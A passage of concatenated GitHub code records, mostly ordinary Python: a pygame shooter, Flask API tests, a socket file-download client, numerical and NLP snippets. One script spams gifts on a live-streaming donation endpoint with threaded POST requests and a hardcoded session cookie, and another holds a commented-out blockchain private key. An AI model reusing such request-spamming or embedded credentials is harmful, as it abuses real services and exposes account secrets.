FighterClass(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(\"fighter.png\")\n self.rect = self.image.get_rect()\n self.rect.center = [320, 540] # 飞机的初始位置,320代表在初始位置在窗口中心\n\n def fire(self, type): # 发射炮弹\n global shells\n shell = ShellClass(\n type + \".png\", [self.rect.centerx, self.rect.centery - 20], type)\n shells.add(shell)\n\n def fly(self, x, y): # 飞机在左右、上下方向移动,并且保证都不出界\n self.rect.centerx = x\n if self.rect.centerx < 20:\n self.rect.centerx = 20\n if self.rect.centerx > 620:\n self.rect.centerx = 620\n self.rect.centery = y\n if self.rect.centery < 20:\n self.rect.centery = 20\n if self.rect.centery > 620:\n self.rect.centery = 620\n\n\n# 创建一个pygame Sprite类的子类:障碍物,包含三种\nclass ObstacleClass(pygame.sprite.Sprite):\n def __init__(self, image_file, location, type):\n pygame.sprite.Sprite.__init__(self)\n self.image_file = image_file\n self.image = pygame.image.load(image_file)\n self.rect = self.image.get_rect()\n self.rect.center = location\n self.type = type\n if type == \"p1\": # 障碍物P1的生命值是1000\n self.life = 1000\n elif type == \"p2\":\n self.life = 2000\n elif type == \"p3\":\n self.life = 100000000\n self.passed = False\n\n def update(self): # 障碍物自上而下移动\n global speed\n self.rect.centery += speed[1]\n if self.rect.centery > 672 or self.life <= 0: # 如果障碍物已移出屏幕\n self.kill() # 删掉障碍物\n\n\nclass ShellClass(ObstacleClass):\n def __init__(self, image_file, location, type):\n ObstacleClass.__init__(self, image_file, location, type)\n self.direction = 0\n if type == \"shell1\":\n self.direction = 1\n\n def update(self): # 炮弹自下而上移动\n global speed\n self.rect.centerx += self.direction * speed[1] * 0.8\n self.rect.centery -= speed[1]\n if self.rect.centery < -32 or self.rect.centerx < - \\\n 32 or self.rect.centerx > 672: # 如果炮弹已移出屏幕\n self.kill() # 删掉炮弹\n\n\n# 创建障碍物地图,即在一个场景中,创建多个障碍物\ndef create_map():\n global obstacles\n locations = []\n for i in range(7): # 每屏7个障碍物(p1和p2)\n row = random.randint(0, 9)\n col = random.randint(0, 9)\n location = [col * 64 + 20, row * 64 + 20 - 640] # 障碍物的位置(x,y)\n # 确保没有将同样两个障碍物放在同一位置,并且每个位置障碍物的种类是随机的\n if not (location in locations):\n locations.append(location)\n type = random.choice([\"p1\", \"p2\"])\n if type == \"p1\":\n img = \"p1.png\"\n elif type == \"p2\":\n img = \"p2.png\"\n obstacle = ObstacleClass(img, location, type)\n obstacles.add(obstacle)\n\n for i in range(1): # 每屏1个障碍物(p3)\n row = random.randint(0, 9)\n col = random.randint(0, 9)\n location = [col * 64 + 20, row * 64 + 20 - 640] # 生成障碍物的位置\n # 确保没有将同样两个障碍物放在同一位置,并且每个位置障碍物的种类是随机的\n if not (location in locations):\n locations.append(location)\n type = random.choice([\"p3\"])\n if type == \"p3\":\n img = \"p3.png\"\n obstacle = ObstacleClass(img, location, type)\n obstacles.add(obstacle)\n\n\ndef animate(): # 重绘屏幕\n screen.fill([255, 255, 255])\n\n obstacles.draw(screen)\n shells.draw(screen)\n screen.blit(fighter.image, fighter.rect) # 在屏幕上添加图像\n screen.blit(score_text, [10, 10]) # 在屏幕上添加得分文本\n pygame.display.flip()\n\n\n# 初始化\npygame.init()\npygame.mixer.init() # 初始化声音模块\nbomb = pygame.mixer.Sound(\"BOMB.WAV\") # 创建声音对象\nscreen = pygame.display.set_mode([640, 640]) # 设定屏幕大小\nclock = pygame.time.Clock() # 定义系统时钟\nfighter = FighterClass() # 定义战斗机fighter\nspeed = [0, maxs] # 定义障碍物下落的速度\nobstacles = pygame.sprite.Group() # 创建障碍物精灵组\nshells = pygame.sprite.Group() # 创建炮弹精灵组\nmap_position = 0\npoints = 0\ncreate_map() # 定义障碍物地图\nfont = pygame.font.Font(None, 50) # 创建pygame的Font类对象,用来显示分数\nc = 0\nrunning = True\n\n# 主循环\nwhile running:\n c = c + 1\n clock.tick(60) # 循环每秒运行60次\n maxs = 6 + (points / 600)\n if maxs < 6:\n maxs = 6\n for event in pygame.event.get(): # 检查按键事件\n if event.type == pygame.QUIT: # 如果关闭游戏窗口,就同时退出程序\n running = False\n elif event.type == pygame.MOUSEMOTION: # 鼠标移动\n x = event.pos[0]\n y = event.pos[1]\n fighter.fly(x, y)\n elif event.type == pygame.KEYDOWN: # 按下键盘上的q键时,退出游戏\n if event.key == pygame.K_q:\n running = False\n if c == 8: # 发射炮弹的频率\n fighter.fire(\"shell\")\n c = 0\n speed = [0, maxs]\n map_position += speed[1] # 记录地图已经往上滚动了多少\n if map_position >= 640: # 如果整个屏幕已经滚动完,创建一个新的含有障碍物的场景\n create_map()\n map_position = 0\n # 碰撞检测\n hit = pygame.sprite.spritecollide(\n fighter, obstacles, False) # 检测碰撞,确定碰撞保障时的图像\n if hit:\n if not hit[0].passed: # 战斗机碰到障碍物,游戏结束\n if hit[0].type == \"p1\":\n running = False\n elif hit[0].type == \"p2\":\n running = False\n elif hit[0].type == \"p3\":\n running = False\n # 显示碰撞后的图像\n fighter.image = pygame.image.load(\"fighter.png\")\n animate()\n pygame.time.delay(300)\n # 继续工作\n fighter.image = pygame.image.load(\"fighter.png\")\n speed = [0, 6]\n hit[0].passed = True # 已经碰到障碍物\n hit[0].kill() # 移除障碍物\n hit = pygame.sprite.groupcollide(\n shells,\n obstacles,\n dokilla=False,\n dokillb=False) # 碰撞检测,计算得分\n if hit:\n for shell in hit:\n for enemy in hit[shell]:\n enemy.life -= 1000\n if enemy.type == \"p1\":\n points = points + 10\n bomb.play()\n elif enemy.type == \"p2\":\n points = points + 20\n bomb.play()\n elif enemy.type == \"p3\":\n bomb.play()\n if shell.type == \"shell\":\n shell.kill()\n\n obstacles.update()\n shells.update()\n score_text = font.render(\"Score: \" + str(points),\n 1, (0, 0, 0)) # 创建分数文本,用来渲染font对象\n animate()\npygame.quit()\nprint(\"Score: \" + str(points)) # 游戏结束时,显示最终得分\n","repo_name":"chbpku/bdfz.courses","sub_path":"python.programming/samples/airstrike/fighter.py","file_name":"fighter.py","file_ext":"py","file_size_in_byte":7534,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"27"} +{"seq_id":"22352179120","text":"import json\nfrom web3 import Web3\n\nganache_url = \"http://127.0.0.1:7545\"\nweb3 = Web3(Web3.HTTPProvider(ganache_url))\n\nprint(web3.isConnected())\n#account_1 = '0x09AE93c233Bf26b4f83824244d23c1A0EF61222D' # Fill me in\n#account_2 = '0xE96E7286bDa0AD5a22FA12c9a8E71380f33E125E' # Fill me in\n#private_key = '0x0ea6f4451dce5ab03185cdaf46b4bb66150720493ad97ba71f1319918b967af1' # Fill me in\n\nweb3.eth.defaultAccount = web3.eth.accounts[0] # already unlocked\n\nabi = json.loads('[{\"constant\": false,\"inputs\": [{\"name\": \"_greeting\",\"type\": \"string\"}],\"name\": \"setGreeting\",\"outputs\": [],\"payable\": false,\"stateMutability\": \"nonpayable\",\"type\": \"function\"},{\"inputs\": [],\"payable\": false,\"stateMutability\": \"nonpayable\",\"type\": \"constructor\"},{\"constant\": true,\"inputs\": [],\"name\": \"greet\",\"outputs\": [{\"name\": \"\",\"type\": \"string\"}],\"payable\": false,\"stateMutability\": \"view\",\"type\": \"function\"},{\"constant\": true,\"inputs\": [],\"name\": \"greeting\",\"outputs\": [{\"name\": \"\",\"type\": \"string\"}],\"payable\": false,\"stateMutability\": \"view\",\"type\": \"function\"}]')\naddress = web3.toChecksumAddress(\"0x3b38F01D75827311Dd1F442043605127F7580e47\")\n\ncontract = web3.eth.contract(address = address, abi = abi)\n\nprint(contract.functions.greet().call())\n\ntx_hash = contract.functions.setGreeting('hi').transact()\n\nweb3.eth.waitForTransactionReceipt(tx_hash)\n\nprint('Updated gre: {}'.format(contract.functions.greet().call()))\n","repo_name":"suwhoanlim/2020UMLC","sub_path":"2020 JEJU - PROGRAMMING/greet.py","file_name":"greet.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37966776386","text":"import uuid\nimport json\nfrom flask import url_for\n\nfrom dataservice.extensions import db\nfrom dataservice.api.study.models import Study\nfrom dataservice.api.participant.models import Participant\nfrom dataservice.api.biospecimen.models import Biospecimen\nfrom dataservice.api.sequencing_experiment.models import SequencingExperiment\nfrom dataservice.api.sequencing_center.models import SequencingCenter\nfrom dataservice.api.genomic_file.models import GenomicFile\nfrom dataservice.api.task.models import (\n Task,\n TaskGenomicFile\n)\nfrom tests.utils import FlaskTestCase\n\nfrom unittest.mock import patch\nfrom tests.mocks import MockIndexd\n\nTASK_GF_URL = 'api.task_genomic_files'\nTASK_GF_LIST_URL = 'api.task_genomic_files_list'\n\n\n@patch('dataservice.extensions.flask_indexd.requests')\nclass TaskGenomicFileTest(FlaskTestCase):\n \"\"\"\n Test task_genomic_file api endpoints\n \"\"\"\n\n def test_post_task_genomic_file(self, mock):\n \"\"\"\n Test creating a new task_genomic_file\n \"\"\"\n indexd = MockIndexd()\n mock.Session().post = indexd.post\n mock.Session().get = indexd.get\n mock.Session().put = indexd.put\n response = self._make_task_genomic_file(mock)\n resp = json.loads(response.data.decode('utf-8'))\n self.assertEqual(response.status_code, 201)\n self.assertIn('task_genomic_file', resp['_status']['message'])\n self.assertIn('created', resp['_status']['message'])\n\n # Content check\n task_genomic_file = resp['results']\n tgf = TaskGenomicFile.query.get(\n task_genomic_file['kf_id'])\n self.assertEqual(tgf.is_input, task_genomic_file['is_input'])\n\n # Relations check\n t_kfid = resp['_links']['task'].split('/')[-1]\n gf_kfid = resp['_links']['genomic_file'].split('/')[-1]\n assert tgf.task_id == t_kfid\n assert tgf.genomic_file_id == gf_kfid\n assert Task.query.get(t_kfid) is not None\n assert GenomicFile.query.get(gf_kfid) is not None\n\n def test_get_task_genomic_file(self, mock):\n \"\"\"\n Test retrieving a task_genomic_file by id\n \"\"\"\n indexd = MockIndexd()\n mock.Session().post = indexd.post\n mock.Session().get = indexd.get\n mock.Session().put = indexd.put\n\n resp = self._make_task_genomic_file(mock)\n resp = json.loads(resp.data.decode('utf-8'))\n kf_id = resp['results']['kf_id']\n\n response = self.client.get(url_for(TASK_GF_URL,\n kf_id=kf_id),\n headers=self._api_headers())\n resp = json.loads(response.data.decode('utf-8'))\n self.assertEqual(response.status_code, 200)\n\n task_genomic_file = resp['results']\n tgf = TaskGenomicFile.query.get(kf_id)\n self.assertEqual(kf_id, task_genomic_file['kf_id'])\n self.assertEqual(kf_id, tgf.kf_id)\n self.assertEqual(tgf.is_input, task_genomic_file['is_input'])\n\n def test_get_all_task_genomic_files(self, mock):\n \"\"\"\n Test retrieving all task_genomic_files\n \"\"\"\n indexd = MockIndexd()\n mock.Session().post = indexd.post\n mock.Session().get = indexd.get\n mock.Session().put = indexd.put\n\n self._make_task_genomic_file(mock)\n\n response = self.client.get(url_for(TASK_GF_LIST_URL),\n headers=self._api_headers())\n status_code = response.status_code\n response = json.loads(response.data.decode('utf-8'))\n content = response.get('results')\n self.assertEqual(status_code, 200)\n self.assertIs(type(content), list)\n self.assertEqual(len(content), 1)\n\n def test_patch_task_genomic_file(self, mock):\n \"\"\"\n Test updating an existing task_genomic_file\n \"\"\"\n indexd = MockIndexd()\n mock.Session().post = indexd.post\n mock.Session().get = indexd.get\n mock.Session().put = indexd.put\n\n response = self._make_task_genomic_file(mock)\n orig = TaskGenomicFile.query.count()\n resp = json.loads(response.data.decode('utf-8'))\n task_genomic_file = resp['results']\n kf_id = task_genomic_file['kf_id']\n body = {\n 'is_input': not task_genomic_file['is_input'],\n }\n self.assertEqual(orig, TaskGenomicFile.query.count())\n response = self.client.patch(url_for(TASK_GF_URL,\n kf_id=kf_id),\n headers=self._api_headers(),\n data=json.dumps(body))\n resp = json.loads(response.data.decode('utf-8'))\n # Status code\n self.assertEqual(response.status_code, 200)\n\n # Message\n self.assertIn('task_genomic_file', resp['_status']['message'])\n self.assertIn('updated', resp['_status']['message'])\n\n # Content - check only patched fields are updated\n task = TaskGenomicFile.query.get(kf_id)\n self.assertEqual(task.is_input, resp['results']['is_input'])\n self.assertEqual(orig, TaskGenomicFile.query.count())\n\n def test_delete_task_genomic_file(self, mock):\n \"\"\"\n Test deleting a task_genomic_file by id\n \"\"\"\n indexd = MockIndexd()\n mock.Session().post = indexd.post\n mock.Session().get = indexd.get\n mock.Session().put = indexd.put\n\n resp = self._make_task_genomic_file(mock)\n resp = json.loads(resp.data.decode('utf-8'))\n kf_id = resp['results']['kf_id']\n\n response = self.client.delete(url_for(TASK_GF_URL,\n kf_id=kf_id),\n headers=self._api_headers())\n\n resp = json.loads(response.data.decode('utf-8'))\n self.assertEqual(response.status_code, 200)\n self.assertEqual(TaskGenomicFile.query.count(), 0)\n\n response = self.client.get(url_for(TASK_GF_URL,\n kf_id=kf_id),\n headers=self._api_headers())\n\n resp = json.loads(response.data.decode('utf-8'))\n self.assertEqual(response.status_code, 404)\n\n def _create_task(self, _name, genomic_files=None):\n \"\"\"\n Create task\n \"\"\"\n data = {\n 'external_task_id': str(uuid.uuid4()),\n 'name': _name,\n }\n if genomic_files:\n data['genomic_files'] = genomic_files\n return Task(**data)\n\n def _create_entities(self):\n \"\"\"\n Create participant with required entities\n \"\"\"\n # Sequencing center\n sc = SequencingCenter.query.filter_by(name=\"Baylor\").one_or_none()\n if sc is None:\n sc = SequencingCenter(name=\"Baylor\")\n db.session.add(sc)\n db.session.commit()\n\n # Create study\n study = Study(external_id='phs001')\n\n # Participants\n p = Participant(external_id='p0',\n is_proband=True,\n study=study)\n\n # Biospecimen\n bs = Biospecimen(analyte_type='dna',\n sequencing_center=sc,\n participant=p)\n\n # SequencingExperiment\n data = {\n 'external_id': 'se',\n 'experiment_strategy': 'wgs',\n 'is_paired_end': True,\n 'platform': 'platform',\n 'sequencing_center': sc\n }\n se = SequencingExperiment(**data)\n\n # Genomic Files\n genomic_files = []\n for i in range(4):\n data = {\n 'file_name': 'gf_{}'.format(i),\n 'data_type': 'submitted aligned read',\n 'file_format': '.cram',\n 'urls': ['s3://file_{}'.format(i)],\n 'hashes': {'md5': str(uuid.uuid4())},\n 'is_harmonized': True if i % 2 else False\n }\n gf = GenomicFile(**data)\n bs.genomic_files.append(gf)\n se.genomic_files.append(gf)\n genomic_files.append(gf)\n\n t = self._create_task('t1')\n db.session.add(t)\n db.session.add(study)\n db.session.commit()\n\n def _make_task_genomic_file(self, mock, **kwargs):\n \"\"\"\n Create a new task_genomic_file with given is_input flag\n \"\"\"\n # Create entities\n self._create_entities()\n\n t = kwargs.get('task_id')\n gf = kwargs.get('genomic_file_id')\n is_input = kwargs.get('is_input', True)\n\n if not (t and gf):\n t = Task.query.first().kf_id\n gf = GenomicFile.query.first().kf_id\n\n body = {\n 'task_id': t,\n 'genomic_file_id': gf,\n 'is_input': is_input,\n }\n\n response = self.client.post(url_for(TASK_GF_LIST_URL),\n headers=self._api_headers(),\n data=json.dumps(body))\n return response\n","repo_name":"kids-first/kf-api-dataservice","sub_path":"tests/task_genomic_file/test_task_gf_resources.py","file_name":"test_task_gf_resources.py","file_ext":"py","file_size_in_byte":8985,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"27"} +{"seq_id":"70031641671","text":"import numpy\n\nfrom src.lib.approximation.sparse.common import identification\n\n\ndef solve(C, p, D, k, *, solve_dense, is_step_size_adaptive):\n m, n = C.shape\n S = numpy.full(n, False)\n q = numpy.zeros(m)\n\n for i in range(k):\n spaces = identification.shift(C=C[:, ~S], p=p, D=D, q=q)\n index = numpy.flatnonzero(~S)[numpy.argmin(spaces)]\n S[index] = True\n\n if i == 0:\n q = C[:, index]\n else:\n if is_step_size_adaptive:\n step_size = solve_dense(numpy.column_stack([q, C[:, index]]), p)[1]\n else:\n step_size = 2 / (i + 2)\n q = (1 - step_size) * q + step_size * C[:, index]\n\n y = numpy.zeros(n)\n y[S] = solve_dense(C[:, S], p)\n\n return y\n","repo_name":"evolutics/sparse-approximation","sub_path":"src/lib/approximation/sparse/frank_wolfe.py","file_name":"frank_wolfe.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"25193623425","text":"import csv\nimport gensim\nimport pickle\nfrom gensim.models import Word2Vec\n\n#Load the dataset sentences\ndef load_data(file):\n sentences = []\n with open(file, 'r') as csvFile:\n reader = csv.reader(csvFile)\n for row in reader:\n #print(row[1])\n sentences.append(row[1])\n\n csvFile.close()\n return sentences\n\n#Train word2vec model for input sentences\ndef train_wv(data):\n model = gensim.models.Word2Vec(\n data,\n size=150,\n window=10,\n min_count=2,\n workers=10)\n model.train(data, total_examples=len(data), epochs=10)\n print(\"Done\")\n return model\n\n\n#Load the Google News Word2Vec\ndef load_google_wv(file):\n model = gensim.models.KeyedVectors.load_word2vec_format(file, binary=True) \n return model\n\n\ndef main():\n\n\n sentences = load_data('training_data.csv')\n #print(sentences)\n loaded_model = load_google_wv('GoogleNews-vectors-negative300.bin')\n #print(loaded_model.vocab)\n\n w1 = \"friend\"\n w2 = \"pal\"\n #Print most similar words\n print(\"Top 10 most similar words to w1:\",loaded_model.wv.most_similar(positive = w1, topn = 10))\n \n #Print similarity between two word\n print(\"Similarity:\", loaded_model.wv.similarity(w1, w2))\n\n\nmain()\n","repo_name":"samarth12/Happiness-Shared-Task","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14192776964","text":"# Day 27\n\nclass Solution(object):\n def calcEquation(self, equations, values, queries):\n \"\"\"\n :type equations: List[List[str]]\n :type values: List[float]\n :type queries: List[List[str]]\n :rtype: List[float]\n \"\"\"\n graph = {}\n def addNode(source, dest, weight):\n if source in graph:\n graph[source].append((dest, weight))\n else:\n graph[source] = [(dest, weight)]\n \n for i, pair in enumerate(equations):\n addNode(pair[0], pair[1], values[i])\n addNode(pair[1], pair[0], 1/values[i])\n \n def graphSearch(pair):\n s = pair[0]\n d = pair[1]\n \n if s not in graph or d not in graph:\n return -1\n \n visited = set()\n queue = [(s, 1)]\n \n while queue:\n front, curTotal = queue.pop(0)\n if front == d:\n return curTotal\n visited.add(front)\n for child, value in graph[front]:\n if child not in visited:\n queue.append((child, curTotal*value))\n \n return -1\n \n return [graphSearch(pair) for pair in queries]\n \n \n \n \n","repo_name":"samzimmerman95/LeetCodeSeptember","sub_path":"September_2020/evaluateDivision.py","file_name":"evaluateDivision.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"13795937411","text":"import socket\nimport sys\nimport pathlib\nimport os\n\n# Remote File Manager\n\n\nclass SKClient:\n def __init__(self, server_config):\n self.server_config = server_config\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.assigned_id = None\n self.autherized = False\n\n def connect(self):\n try:\n self.socket.connect(self.server_config)\n except ConnectionRefusedError:\n print(\n f\"Could not connect to the server on host {self.server_config[0]} port {self.server_config[1]}\")\n sys.exit()\n\n def close(self):\n self.socket.close()\n\n def credentials_validation(self):\n username = input(\"Enter Username : \")\n password = input(\"Enter Password : \")\n credentials = str((username, password))\n request_header = str((\"authenticate\",))\n request_header_length = str(len(request_header)).ljust(1024)\n self.socket.sendall(bytes(request_header_length, \"utf-8\"))\n self.socket.sendall(bytes(request_header, \"utf-8\"))\n\n request = bytes(credentials, \"utf-8\")\n length_of_request = bytes(str(len(request)).ljust(1024), \"utf-8\")\n self.socket.sendall(length_of_request)\n self.socket.sendall(request)\n\n response_length = int(self.socket.recv(1024).decode(\"utf-8\").strip())\n data_bytes = b''\n while len(data_bytes) < response_length:\n b = self.socket.recv(response_length - len(data_bytes))\n data_bytes += b\n response = data_bytes.decode(\"utf-8\").strip()\n decider = eval(response)\n if decider[0] == \"Correct\":\n self.assigned_id = decider[1]\n self.autherized = True\n\n def get(self, filename):\n request = str((\"get\", self.assigned_id))\n request_length = bytes(str(len(request)).ljust(1024), \"utf-8\")\n self.socket.sendall(request_length)\n self.socket.sendall(bytes(request, \"utf-8\"))\n filename_length = bytes(str(len(filename)).ljust(1024), \"utf-8\")\n self.socket.sendall(filename_length)\n self.socket.sendall(bytes(filename, \"utf-8\"))\n\n data_bytes = b''\n response_length = 1024\n while len(data_bytes) < response_length:\n b = self.socket.recv(response_length - len(data_bytes))\n data_bytes += b\n response = data_bytes.decode(\"utf-8\").strip()\n\n if response == \"No\":\n print(f\"The file named '{filename}' is not present in the store.\")\n if response == \"Yes\":\n print(\"Client waiting for download to begin\")\n data_bytes = b''\n response_length = 1024\n while len(data_bytes) < response_length:\n b = self.socket.recv(response_length - len(data_bytes))\n data_bytes += b\n response = data_bytes.decode(\"utf-8\").strip()\n filesize = int(response)\n bytes_remaining = filesize\n new_filename = \"\"\n while len(new_filename) == 0:\n new_filename = input(\"Save As: \")\n path = f\"{pathlib.Path.cwd()}{os.path.sep}downloads{os.path.sep}{new_filename}\"\n buffer_size = 4096\n print(f\"Recieving file {filename} as {new_filename}\")\n with open(path, \"wb\") as file:\n count = 1\n while bytes_remaining > 0:\n print(f\"Packet {count} is being recieved\")\n if bytes_remaining < buffer_size:\n dataBytes = b''\n while len(dataBytes) < bytes_remaining:\n recieved = self.socket.recv(\n bytes_remaining - len(dataBytes))\n dataBytes += recieved\n data = dataBytes\n file.write(data)\n break\n dataBytes = b''\n while len(dataBytes) < buffer_size:\n recieved = self.socket.recv(\n buffer_size - len(dataBytes))\n dataBytes += recieved\n data = dataBytes\n file.write(data)\n bytes_remaining -= buffer_size\n count += 1\n print(\"Download Complete : \", filename)\n\n def dir(self):\n request = str((\"dir\", self.assigned_id))\n request_length = bytes(str(len(request)).ljust(1024), \"utf-8\")\n self.socket.sendall(request_length)\n self.socket.sendall(bytes(request, \"utf-8\"))\n\n response_length = int(self.socket.recv(1024).decode(\"utf-8\").strip())\n data_bytes = b''\n while len(data_bytes) < response_length:\n b = self.socket.recv(response_length - len(data_bytes))\n data_bytes += b\n response = data_bytes.decode(\"utf-8\").strip()\n register = eval(response)\n for key, value in register.items():\n filename = key\n size = value\n print(f\"{filename}: {size}\")\n\n def quit(self):\n request = str((\"quit\", self.assigned_id))\n request_length = bytes(str(len(request)).ljust(1024), \"utf-8\")\n self.socket.sendall(request_length)\n self.socket.sendall(bytes(request, \"utf-8\"))\n\n def clear(self):\n if os.name == 'nt':\n os.system(\"cls\")\n else:\n os.system(\"clear\")\n\n\nif __name__ == \"__main__\":\n with open(\"srv.cfg\", \"r\") as file:\n data = file.read().strip()\n server_config = eval(data)\n sk_client = SKClient(server_config)\n sk_client.connect()\n sk_client.credentials_validation()\n\n if sk_client.autherized:\n while True:\n arguments = input(\n f\"skclient {sk_client.socket.getsockname()}> \").split()\n if len(arguments) == 1:\n operation = arguments[0]\n if operation == \"quit\":\n sk_client.quit()\n break\n elif operation == \"dir\":\n sk_client.dir()\n elif operation == \"clear\":\n sk_client.clear()\n elif operation == \"help\":\n print(\n \"_____________________________________________________________________________________\\n| Operation | Arguments | Functionality |\\n-------------------------------------------------------------------------------------\\n| help | [-----] | the basic manual for commands |\\n| clear | [-----] | clears the client screen |\\n| get | [file_name] | downloads the file with file_name if present in store |\\n| dir | [-----] | list all the files present in the store. |\\n| quit | [-----] | Shutdown the client |\\n-------------------------------------------------------------------------------------\\n\")\n else:\n print(f\"Invalid input: {operation}\")\n continue\n elif len(arguments) == 2:\n operation = arguments[0]\n filename = arguments[1]\n if operation == \"get\":\n sk_client.get(filename)\n else:\n print(f\"Invalid input: {arguments}\")\n continue\n else:\n print(\"Invalid Username or Password\")\n sk_client.close()\n","repo_name":"SarthKale/Remote-File-Downloader","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"39529978246","text":"'''\n达内网课刷礼物\n'''\nimport requests\nimport random\nimport threading\nimport time\n\ndef fetch(good_id: int = 1):\n '''\n good_id: 礼物id\n '''\n url = f\"http://live.polyv.cn/watch/wxpay_donate?donate_type=good&channel_id=3436752&roomId=3436752&good_id={good_id}\"\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=utf-8\",\n \"Cookie\": \"language=zh_CN; UM_distinctid=184541dcad9559-02a3a1583f9aa-c505425-1fa400-184541dcada564; CNZZDATA1279149660=244417426-1667886360-https%253A%252F%252Ftts.tmooc.cn%252F%7C1668644743; SESSION=5fd7425c-b1e0-4fdc-8031-81afce8c3e3b\",\n \"Referer\": \"https://live.polyv.cn/watch/3436752?userid=E_bfv5lpu,990120,1310484M111Mtts&ts=1667906146374&sign=a1a8592d10af8bab706f77263af30b44\"\n }\n res = requests.post(url=url, headers=headers)\n print(res.text)\n\nif __name__ == \"__main__\":\n tasks = []\n for _ in range(15):\n randomint = random.randint(1, 9)\n task = threading.Thread(target=fetch, args=(randomint,))\n tasks.append(task)\n\n for task in tasks:\n task.start()\n\n for task in tasks:\n task.join()\n ","repo_name":"pys0126/PySpiders","sub_path":"polyv/send_good.py","file_name":"send_good.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"69822954311","text":"from spoty import settings\nfrom spoty import log\nfrom spoty.utils import SpotyContext\nimport spoty.utils\nimport click\n\n\n@click.command(\"print\")\n@click.option('--grouping-pattern', '--gp', show_default=True,\n default=settings.SPOTY.DEFAULT_GROUPING_PATTERN,\n help='Tracks will be grouped to playlists according to this pattern.')\n@click.option('--print-pattern', '--pp', show_default=True,\n default=settings.SPOTY.DEFAULT_PRINT_PATTERN,\n help='Print a list of tracks according to this formatting pattern.')\n@click.pass_obj\ndef print_tracks(context: SpotyContext,\n grouping_pattern,\n print_pattern,\n ):\n \"\"\"\nPrint a list of tracks to console.\n \"\"\"\n\n for i, tags_list in enumerate(context.tags_lists):\n if len(context.tags_lists) > 1:\n click.echo()\n click.echo(\n f'============================= LIST {i+1}/{len(context.tags_lists)} =============================')\n click.echo()\n\n spoty.utils.print_tags_list_grouped(tags_list, print_pattern, grouping_pattern)\n\n grouped_tags = spoty.utils.group_tags_by_pattern(tags_list, grouping_pattern)\n\n if len(context.tags_lists) == 1:\n if len(grouped_tags) == 0:\n context.summary.append(f'Total {len(tags_list)} tracks listed.')\n else:\n context.summary.append(\n f'Total {len(tags_list)} tracks listed (grouped into {len(grouped_tags)} playlists).')\n else:\n if len(grouped_tags) == 0:\n context.summary.append(f'List {i+1}: Total {len(tags_list)} tracks listed.')\n else:\n context.summary.append(\n f'List {i+1}: Total {len(tags_list)} tracks listed (grouped into {len(grouped_tags)} playlists).')\n\n click.echo('\\n------------------------------------------------------------')\n click.echo('\\n'.join(context.summary))\n","repo_name":"dy-sh/spoty","sub_path":"spoty/commands/first_list_commands/print_command.py","file_name":"print_command.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"} +{"seq_id":"17703355901","text":"from pathlib import Path\n\nALPHA = 'azertyuiopqsdfghjklmwxcvbn'\n\nif __name__ == '__main__':\n with open(f'../inputs/{Path(__file__).stem}.txt', 'r') as f:\n groups = f.read().split('\\n\\n')\n\n value = sum(len(set(g)) - ('\\n' in g) for g in groups)\n print(f\"The result of first star is {value}\")\n\n value = sum(sum(1 for char in ALPHA if g.count(char) == g.count('\\n')+1)for g in groups)\n print(f\"The result of second star is {value}\")\n","repo_name":"foulp/AdventOfCode2020","sub_path":"src/Day06.py","file_name":"Day06.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14407285641","text":"from matplotlib import pyplot as plt\nfrom matplotlib.offsetbox import OffsetImage, AnnotationBbox\nimport numpy as np\n\ndef motion(v0, theta, t, g=9.81, x0=0, y0=0):\n \"\"\"\n Computes the trajectory of a projectile, given the initial velocity (v0),\n launch angle (theta), and time (t).\n \"\"\"\n x = v0*np.cos(theta)*t \n y = v0*np.sin(theta)*t - 0.5 * g * t**2\n return x, y\n\ndef get_time(v0, theta, g=9.81, x0=0, y0=0):\n \"\"\"\n Computes the time of flight of a projectile, given the initial velocity (v0),\n launch angle (theta), and distance (t).\n \"\"\"\n # Get the time to get back to the ground\n # y = v0*np.sin(theta)*t - 0.5 * g * t**2 -> solve for y=0, t!=0\n t_max = 2*v0*np.sin(theta)/g\n # Create a time array\n t = np.linspace(0, t_max, 100) # 0.1 is the time step\n return t\n\ndef get_trajectory(v0, theta_deg, g=9.81, gravity_label=\"\", x0=0, y0=0):\n \"\"\"\n Computes the trajectory of a projectile, given the initial velocity (v0),\n launch angle (theta, in degrees). It creates a vector with times, and from that a\n trajectory.\n \"\"\"\n # Convert theta\n theta_rad = theta_deg * np.pi / 180\n # Get the time to get back to the ground\n t = get_time(v0, theta_rad, g=g, x0=x0, y0=y0)\n # Get the trajectory for the times\n x, y = motion(v0, theta_rad, t, g=g, x0=x0, y0=y0)\n # Get a legend for the trajectory\n legend = f\"$v_0$={v0}, $\\\\theta$={theta_deg:.2f}, g={g} ({gravity_label})\"\n # Get the color\n color_dict = {'Earth':\"green\", 'Moon':\"gray\", 'Mars':\"red\", 'Jupiter':\"black\"}\n color = color_dict[gravity_label]\n # Create a dictionary with the trajectory\n trajectory_dict = {\"x\": x, \"y\": y, \"legend\": legend, \"color\": color, \"v0\": v0, \"theta_deg\": theta_deg}\n return trajectory_dict\n\ndef 